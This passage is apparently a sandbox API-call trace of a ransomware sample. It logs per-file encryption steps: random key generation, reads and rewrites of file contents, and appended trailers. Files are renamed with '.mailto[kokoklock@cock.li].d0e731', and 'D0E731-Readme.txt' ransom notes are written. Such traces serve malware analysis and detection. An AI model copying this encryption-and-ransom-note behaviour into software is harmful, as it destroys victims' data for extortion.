out: Seed=0xbdafe68) returned 0xf33539dd [0071.246] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x3dbf33c [0071.246] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xaf79e9f0 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x9187fbf3 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x8432bd05 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xa0c3b2a5 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x9bfdcfa8 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x551cb7a1 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x3472a4f4 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xf77b5358 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x5f39ba45 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x5362d42a [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x75b6ef72 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xe4d21efb [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x58d92581 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x9073aa2c [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xc8a6a691 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xc19f2340 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xf002de1f [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xda453b3d [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xff0a6764 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x524e6f94 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x7ed14ce [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x2b5eb013 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xda1783ce [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xb5694ce8 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0x24315b63 [0071.247] RtlRandom (in: Seed=0xbdafe68 | out: Seed=0xbdafe68) returned 0xf2e9087b [0071.258] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.258] ReadFile (in: hFile=0x7ac, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbdafe34, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbdafe34*=0x4096, lpOverlapped=0x0) returned 1 [0071.259] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422de8 [0071.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422de8) returned 1 [0071.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.259] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422de8 [0071.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422de8) returned 1 [0071.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.259] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.259] WriteFile (in: hFile=0x7ac, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbdafe34, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xbdafe34*=0x4096, lpOverlapped=0x0) returned 1 [0071.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.260] SetFilePointerEx (in: hFile=0x7ac, liDistanceToMove=0xfed6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.260] WriteFile (in: hFile=0x7ac, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbdafe6c, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xbdafe6c*=0x20, lpOverlapped=0x0) returned 1 [0071.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.260] WriteFile (in: hFile=0x7ac, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbdafe80, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xbdafe80*=0x8, lpOverlapped=0x0) returned 1 [0071.260] WriteFile (in: hFile=0x7ac, lpBuffer=0xbdafe98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbdafe80, lpOverlapped=0x0 | out: lpBuffer=0xbdafe98*, lpNumberOfBytesWritten=0xbdafe80*=0x4, lpOverlapped=0x0) returned 1 [0071.260] WriteFile (in: hFile=0x7ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbdafe80, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbdafe80*=0x4, lpOverlapped=0x0) returned 1 [0071.260] WriteFile (in: hFile=0x7ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbdafe80, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbdafe80*=0x6c, lpOverlapped=0x0) returned 1 [0071.260] WriteFile (in: hFile=0x7ac, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbdafe80, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xbdafe80*=0x20, lpOverlapped=0x0) returned 1 [0071.260] WriteFile (in: hFile=0x7ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbdafe80, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbdafe80*=0x4, lpOverlapped=0x0) returned 1 [0071.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.260] CloseHandle (hObject=0x7ac) returned 1 [0071.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.261] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" [0071.261] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.261] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.261] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.261] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.262] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.262] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1042\\" | out: _Dest="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0071.262] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt" [0071.262] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\d0e731-readme.txt")) returned 0xffffffff [0071.262] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0071.264] WriteFile (in: hFile=0x3a0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xbdafe7c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xbdafe7c*=0x481, lpOverlapped=0x0) returned 1 [0071.265] CloseHandle (hObject=0x3a0) returned 1 [0071.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e83f8) returned 1 [0071.265] RtlExitUserThread (Status=0x1) Thread: id = 228 os_tid = 0x1208 [0063.484] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0066.374] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.690] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x75c [0068.690] GetFileSizeEx (in: hFile=0x75c, lpFileSize=0xbe2fdd4 | out: lpFileSize=0xbe2fdd4*=3046) returned 1 [0068.690] SetFilePointerEx (in: hFile=0x75c, liDistanceToMove=0xbe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.690] ReadFile (in: hFile=0x75c, lpBuffer=0xbe2fda8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbe2fda4, lpOverlapped=0x0 | out: lpBuffer=0xbe2fda8*, lpNumberOfBytesRead=0xbe2fda4*=0x4, lpOverlapped=0x0) returned 1 [0068.691] SetFilePointerEx (in: hFile=0x75c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423f38 [0068.692] NtQuerySystemTime (in: CurrentTime=0xbe2fd80 | out: CurrentTime=0xbe2fd80*=132121176265878868) returned 0x0 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x5ff3db22 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x2c2da1c8 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xf3486af [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xd2a7f1a3 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x3026f741 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x83168e5f [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xd852b86c [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xce285e60 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x29acd983 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xedd9f17e [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x9cd3df7f [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xddfbee6d [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x752d2b7d [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x71dcfaf2 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x4eaa1b7 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xd468eb1 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xe6a57970 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x96ce90c2 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xaf77e82 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xd10cb47d [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xf4783d34 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x63bdccb3 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x42b38ab [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xad2f0db4 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xb8205dec [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x4a640ea9 [0068.692] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x2bf7f3e3 [0068.693] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0xb13ac0b0 [0068.693] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x7e4ec946 [0068.693] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x3e86354 [0068.693] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x1d8958d6 [0068.693] RtlRandom (in: Seed=0xbe2fd8c | out: Seed=0xbe2fd8c) returned 0x6802036c [0068.703] ReadFile (in: hFile=0x75c, lpBuffer=0x3475830, nNumberOfBytesToRead=0xbe6, lpNumberOfBytesRead=0xbe2fd80, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbe2fd80*=0xbe6, lpOverlapped=0x0) returned 1 [0068.703] SetFilePointerEx (in: hFile=0x75c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xbe2fd48 | out: lpNewFilePointer=0x0) returned 1 [0068.703] WriteFile (in: hFile=0x75c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xbe6, lpNumberOfBytesWritten=0xbe2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xbe2fd7c*=0xbe6, lpOverlapped=0x0) returned 1 [0068.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.704] WriteFile (in: hFile=0x75c, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbe2fd78, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xbe2fd78*=0x20, lpOverlapped=0x0) returned 1 [0068.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.704] WriteFile (in: hFile=0x75c, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbe2fda4, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xbe2fda4*=0x8, lpOverlapped=0x0) returned 1 [0068.704] WriteFile (in: hFile=0x75c, lpBuffer=0xbe2fdbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbe2fda4, lpOverlapped=0x0 | out: lpBuffer=0xbe2fdbc*, lpNumberOfBytesWritten=0xbe2fda4*=0x4, lpOverlapped=0x0) returned 1 [0068.704] WriteFile (in: hFile=0x75c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbe2fda4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbe2fda4*=0x4, lpOverlapped=0x0) returned 1 [0068.704] WriteFile (in: hFile=0x75c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbe2fda4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbe2fda4*=0x6c, lpOverlapped=0x0) returned 1 [0068.704] WriteFile (in: hFile=0x75c, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbe2fda4, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xbe2fda4*=0x20, lpOverlapped=0x0) returned 1 [0068.704] WriteFile (in: hFile=0x75c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbe2fda4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbe2fda4*=0x4, lpOverlapped=0x0) returned 1 [0068.704] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424000) returned 1 [0068.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.705] CloseHandle (hObject=0x75c) returned 1 [0071.240] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0071.240] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1044\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf" [0071.240] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.240] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.243] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.243] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.243] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.244] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1044\\" | out: _Dest="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0071.244] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt" [0071.244] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\d0e731-readme.txt")) returned 0x20 [0071.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33faaf8) returned 1 [0071.244] RtlExitUserThread (Status=0x1) Thread: id = 229 os_tid = 0x120c [0063.485] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0064.628] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.221] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0071.221] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0xbeaf960 | out: lpFileSize=0xbeaf960*=79296) returned 1 [0071.221] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x135bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.221] ReadFile (in: hFile=0x3a0, lpBuffer=0xbeaf934, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbeaf930, lpOverlapped=0x0 | out: lpBuffer=0xbeaf934*, lpNumberOfBytesRead=0xbeaf930*=0x4, lpOverlapped=0x0) returned 1 [0071.222] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422ca8 [0071.222] NtQuerySystemTime (in: CurrentTime=0xbeaf90c | out: CurrentTime=0xbeaf90c*=132121176291191343) returned 0x0 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x8c95a352 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x9833b69 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xb39ac6b9 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xa0bf093 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xf3d9c8b2 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xbfe4d1b3 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x381dbd43 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xc48c1a60 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x76a1b29 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x7eb4bf26 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xa5d5aa45 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x2118688b [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xe5557a0b [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x462077d6 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x1eb40481 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xbee199ef [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x536f10d0 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x348fae7f [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xa583f7e [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x7fa9fa02 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x811e4398 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x38205e55 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xe00fc01d [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x92e9da2 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x81f86b0e [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x671ee191 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x42c19717 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0xc0c1414a [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x20e5ded5 [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x5f41655f [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x2222cf7f [0071.223] RtlRandom (in: Seed=0xbeaf918 | out: Seed=0xbeaf918) returned 0x587416c8 [0071.234] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.235] ReadFile (in: hFile=0x3a0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbeaf8e4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbeaf8e4*=0x4096, lpOverlapped=0x0) returned 1 [0071.235] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 